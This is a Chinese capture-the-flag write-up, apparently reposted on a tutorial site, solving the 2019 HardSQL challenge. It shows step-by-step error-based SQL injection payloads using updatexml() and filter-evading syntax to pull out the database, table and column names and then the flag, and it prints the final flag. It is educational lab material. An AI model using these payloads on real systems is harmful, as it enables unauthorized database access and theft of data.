[极客大挑战 2019]HardSQL

2022/7/17 2:15:04

本文主要是介绍[极客大挑战 2019]HardSQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

[极客大挑战 2019]HardSQL

先用一下常规payload

image-20220716211834676

发现应该是被过滤了

image-20220716211840222

用字典爆破发现这些字符的回显都是相同的

image-20220716215726497

根据错误,猜测是报错注入,(这里不是很明白怎么看出是报错注入的),有会的师傅可以评论一下

image-20220716220547134

然后我们尝试使用报错注入的payload:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

我们这里来了解一下updatexml()这个函数

updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,上面注入的payload就清楚明白

这里由于concat()得到的字符串不符合XPath_string,所以会出现XPATH syntax error这个错误

0x7e就是~符号,因为这个~符号不符合XPATH格式,所以会进行报错

所以我们输入上述的payload之后可以查到数据库的名字

image-20220716221314151

查到数据库名之后,继续查一下表名

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20220716223018957

这里用括号,用like的原因是因为=和空格都被过滤了,我们如果用空格和=的话都会出现这样的界面

image-20220716223143290

查完表名,再查列名

先用这个payload: 1'or(updatexml(1,concat(0x7e,(select(concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20220716233818462

发现结果回显超过一行,所以我们里面的那个concat改成group_concat()

group_concat()函数的作用就是把所有的结果连接之后在同一行进行输出

重新输入新的payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20220716234152637

查到了列名,然后我们继续查询这些列里面相应的内容就可以

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(0x7e,id,0x7e,username,0x7e,password))from(H4rDsq1)),0x7e),1))#

image-20220716234257235

可以发现,我们这里只查到了一部分的flag,这里的话我们就要用到right函数了

我们这里介绍一下right函数的用法

RIGHT(str,len)

返回字符串str最右边的 len 个字符,如果任意参数为NULL返回NULL。

image-20220716234539155

然后因为我们这里只显示了前面部分的flag,所以我们要用right函数,去显示flag右边的部分

构造payload:1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#

image-20220716234748025

这里发现没有重复的地方,我们更改数值再查一次

1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

image-20220716234854727

可以发现,出现了重复的地方,所以我们只要把两个部分的flag去重,然后进行提交就可以

~~1~flag~flag{7566e8ce-72b2-4d45

e-72b2-4d45-ac97-5a78b0d37426}

进行拼接之后就是

flag{7566e8ce-72b2-4d45-ac97-5a78b0d37426}



这篇关于[极客大挑战 2019]HardSQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程